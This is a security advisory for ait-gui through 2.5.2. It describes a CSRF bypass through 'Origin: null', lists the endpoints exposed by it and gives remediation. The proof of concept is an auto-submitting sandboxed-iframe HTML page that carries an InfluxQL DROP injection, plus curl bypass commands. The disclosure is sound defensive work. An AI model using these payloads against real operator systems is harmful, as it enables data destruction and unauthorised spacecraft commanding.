# GHSA-4PV4-JMFM-PHRW: CSRF bypass via Origin: null

- Database: GitHub
- Severity: CVSS 8.1 (High)
- Published: 2026-09-21
- Modified: 2026-09-21

## Affected versions

- ait-gui (PyPI): through 2.5.2

## Description

### Summary

The anti-CSRF control added to fix GHSA-p9r8-2q67-fp86
(`_enforce_same_origin`, an `@App.hook("before_request")`) can be bypassed by
any web page an operator visits. The check only rejects a state-changing
request when the parsed *netloc* of the `Origin`/`Referer` header is non-empty
**and** differs from `Host`. Browsers legitimately send `Origin: null` for
requests originating from a sandboxed iframe, a `data:`/`blob:` document, or
certain cross-origin redirects. `urllib.parse.urlsplit("null").netloc` is the
empty string, so the guard treats such requests as same-origin and lets them
through. The result is that the unauthenticated cross-site request forgery
attack the patch was meant to close is re-enabled — an attacker-controlled page
can silently drive the AIT GUI REST API (telemetry playback queries, telemetry
CSV export, command validation, and, where the session cookie is delivered,
command / script / sequence execution) against an operator’s workstation.

**Patch**

v2.5.3

**Fix Details**

1. Improved Cookie Security (ait/gui/init.py:176-185)

- Added httponly=True to session cookies to prevent JavaScript access and mitigate XSS-based session theft
- Added samesite="strict" to prevent cross-site cookie delivery and mitigate CSRF attacks

  
2. Strengthened Origin Validation (ait/gui/init.py:329-340)

- Rejects "null" origin: Browsers send Origin: null for sandboxed iframes, data: URIs, and certain cross-origin redirects, which previously bypassed validation.
- Rejects missing host: Additional check to prevent empty netloc from bypassing validation
- Rejects non-HTTP(S) schemes: Blocks file://, data:, and other non-standard schemes that could be used for CSRF attacks

### Vunerability Details

The guard, `ait/gui/__init__.py:287`:

```python
@App.hook("before_request")
def _enforce_same_origin():
    if bottle.request.method not in _STATE_CHANGING_METHODS:
        return

    host = bottle.request.get_header("Host")

    source = bottle.request.get_header("Origin")
    if not source:
        source = bottle.request.get_header("Referer")

    # No Origin/Referer means the request did not originate from a browsing
    # context ... allow it.
    if not source:
        return

    source_host = urllib.parse.urlsplit(source).netloc
    if source_host and host and source_host != host:
        bottle.abort(403, "Cross-origin request rejected")
```

The rejection only fires when **`source_host` is truthy**. For several
attacker-reachable browsing contexts the `Origin` header is the literal string
`null`, whose netloc is empty:

```
>>> import urllib.parse
>>> urllib.parse.urlsplit("null").netloc
''
>>> urllib.parse.urlsplit("file:///etc/passwd").netloc
''
>>> urllib.parse.urlsplit("data:text/html,x").netloc
''
```

With `source_host == ""`, the condition `source_host and host and
source_host != host` is `False`, so the request is **allowed**. A browser
emits `Origin: null` for, among others:

* a form/`fetch` submitted from a **sandboxed iframe**
  (`<iframe sandbox="allow-scripts allow-forms">`) — the iframe has an opaque
  origin;
* a document loaded from a `data:` URL;
* some cross-origin → cross-origin redirect chains.

An attacker only needs the victim (an AIT operator, who by design is
unauthenticated — a session cookie is minted automatically on `GET /`, there
is no login) to open a malicious web page. The page hosts a sandboxed iframe
that auto-submits a form to the operator’s local AIT GUI. The browser attaches
`Origin: null`, the guard passes, and the request is processed.

Secondary bypasses of the same guard:

* **Missing headers.** If neither `Origin` nor `Referer` is present the guard
  returns early and allows the request. A page can suppress `Referer`
  (`<meta name="referrer" content="no-referrer">` / `referrerpolicy`).
* **Non-HTTP schemes** (`file://`, `data:`) also yield an empty netloc as
  shown above.

The guard also never compares the URL *scheme* and does not distinguish a
missing `Host`, but the `Origin: null` path above is sufficient on its own.

Because AIT GUI has no authentication of its own (`Sessions.current()` merely
requires the auto-issued `sid` cookie, `ait/gui/__init__.py:163`), the
Origin/Referer check is the *only* barrier protecting state-changing endpoints
from cross-site abuse. Several state-changing endpoints do not even consult the
session cookie, so the CSRF bypass reaches them unconditionally:

| Endpoint | Method | Session required | CSRF-simple-request reachable | Effect once CSRF is bypassed |
|---|---|---|---|---|
| `/playback/query` | POST (form) | no | yes | InfluxQL injection |
| `/tlm/query` | POST (form) | no | yes | Walk arbitrary local dirs for `*.pcap`, run `ait-tlm-csv` with attacker-controlled args, export CSV |
| `/cmd/validate` | POST (form) | no | yes | Command dictionary probing / log spoofing |
| `/messages` | POST | no | (needs JSON body) | Log injection / call arbitrary `ait.core.log` attribute via `severity` |
| `/cmd` | POST (form) | yes (`sid`) | yes | **Send arbitrary spacecraft commands** |
| `/seq` | POST (form) | yes (`sid`) | yes | Execute a sequence file (`ait-seq-send`) |
| `/script/run` | POST (form) | yes (`sid`) | yes | Execute a Python script from `ScriptRoot` |

For the `sid`-gated rows the impact additionally depends on the browser
delivering the `sid` cookie with the cross-site request. The code sets the
cookie with **no `SameSite`, `Secure`, or `HttpOnly` attributes**
(`ait/gui/__init__.py:176`: `bottle.response.set_cookie("sid", session.id)`),
so it explicitly relies on the (now-bypassed) `Origin` check rather than on
cookie scoping. Under current browser defaults (`SameSite=Lax`) the cookie is
withheld from cross-site POST, which incidentally protects those three rows;
this is a browser default the application does **not** set and must not be
relied upon (older browsers, `SameSite=None`, or the Lax+POST grace window
re-open full command execution). The no-session rows above — including the
InfluxQL injection — are exploitable regardless.

### PoC

Assumes the operator is running AIT GUI on `http://localhost:8080` (default
`host`/`port` in `AITGUIPlugin.init`) and has a browser open. The operator
visits an attacker page containing:

```html
<!-- attacker.example/csrf.html -->
<iframe sandbox="allow-scripts allow-forms" src="data:text/html,
  <form id=f method=POST action='http://localhost:8080/playback/query'>
    <input name=packet value='1553_HS_Packet'>
    <input name=startTime value=&quot;2020-01-01T00:00:00Z' ; DROP MEASUREMENT &quot;1553_HS_Packet&quot; ; --&quot;>
    <input name=endTime value='2020-01-02T00:00:00Z'>
  </form>
  <script>document.getElementById('f').submit()</script>
"></iframe>
```

When the sandboxed iframe submits, the browser sends:

```
POST /playback/query HTTP/1.1
Host: localhost:8080
Origin: null
Content-Type: application/x-www-form-urlencoded

packet=1553_HS_Packet&startTime=...&endTime=...
```

`_enforce_same_origin` computes `source_host = ""` and allows the request; the
form values reach `handle_playback_query_post` and are concatenated into the
InfluxQL statement. The same technique with `action=".../cmd"` and
`command=<real command>` drives commanding wherever the `sid` cookie is
delivered.

Minimal reproduction of just the guard bypass (no browser needed):

```bash
# Rejected (cross-origin, correct):
curl -s -o /dev/null -w '%{http_code}\n' -X POST \
     -H 'Origin: http://evil.example' \
     --data 'command=NOOP' http://localhost:8080/cmd/validate     # 403

# Allowed (guard bypassed):
curl -s -o /dev/null -w '%{http_code}\n' -X POST \
     -H 'Origin: null' \
     --data 'command=NOOP' http://localhost:8080/cmd/validate     # 200/400, NOT 403
```

### Impact

CSRF (CWE-352) — the primary security control (`_enforce_same_origin`) for a
system that has no other authentication. Any web page an AIT operator opens can
issue state-changing requests to the local AIT GUI: at minimum inject InfluxQL
into the historian, drive telemetry CSV export over arbitrary local
directories, and — where the auto-issued session cookie accompanies the request
— **validate/send spacecraft commands and execute server-side sequences and
Python scripts**. This is the same unauthenticated-cross-site-execution class
that GHSA-p9r8-2q67-fp86 intended to fix; the patch is incomplete.

### Remediation

* Treat an **absent, empty, `null`, or non-`http(s)`** `Origin` on a
  state-changing request as *untrusted*, not as same-origin — reject by
  default. Compare the full origin (scheme + host + port), not just netloc.
* Do not fall back to allowing when both `Origin` and `Referer` are missing for
  a browser-issued state-changing request.
* Add a real anti-CSRF token (double-submit / synchronizer) and/or set the
  session cookie `SameSite=Strict; HttpOnly` (and `Secure` when served over
  TLS) instead of relying solely on header inspection.

## References

- https://github.com/NASA-AMMOS/AIT-GUI/security/advisories/GHSA-4pv4-jmfm-phrw

Page: https://cve.now/GHSA-4PV4-JMFM-PHRW

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
